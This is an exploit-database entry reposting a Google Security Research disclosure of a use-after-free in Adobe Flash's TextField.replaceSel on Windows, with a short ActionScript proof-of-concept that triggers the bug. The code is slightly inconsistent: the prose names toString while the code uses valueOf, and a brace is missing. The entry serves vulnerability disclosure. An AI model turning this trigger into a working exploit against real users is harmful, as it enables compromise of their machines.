Adobe Flash TextField.replaceSel - Use-After-Free

ID 1337DAY-ID-25735
Type zdt
Reporter Google Security Research
Modified 2015-12-18T00:00:00


Exploit for windows platform in category dos / poc

There is a use-after-free in TextField.replaceSel. If the string parameter of the method is set to an object with toString defined, this method can delete the TextField's parent, leading to a use-after-free.
A minimal PoC is as follows:
var mc = this.createEmptyMovieClip("mc", 101);
var tf = mc.createTextField("tf", 102, 1, 1, 100, 100);
tf.replaceSel({valueOf : func});
function func(){
        // Fix heap here
    return "text";
A sample swf and fla are attached.
Proof of Concept:

# [2018-02-10]  #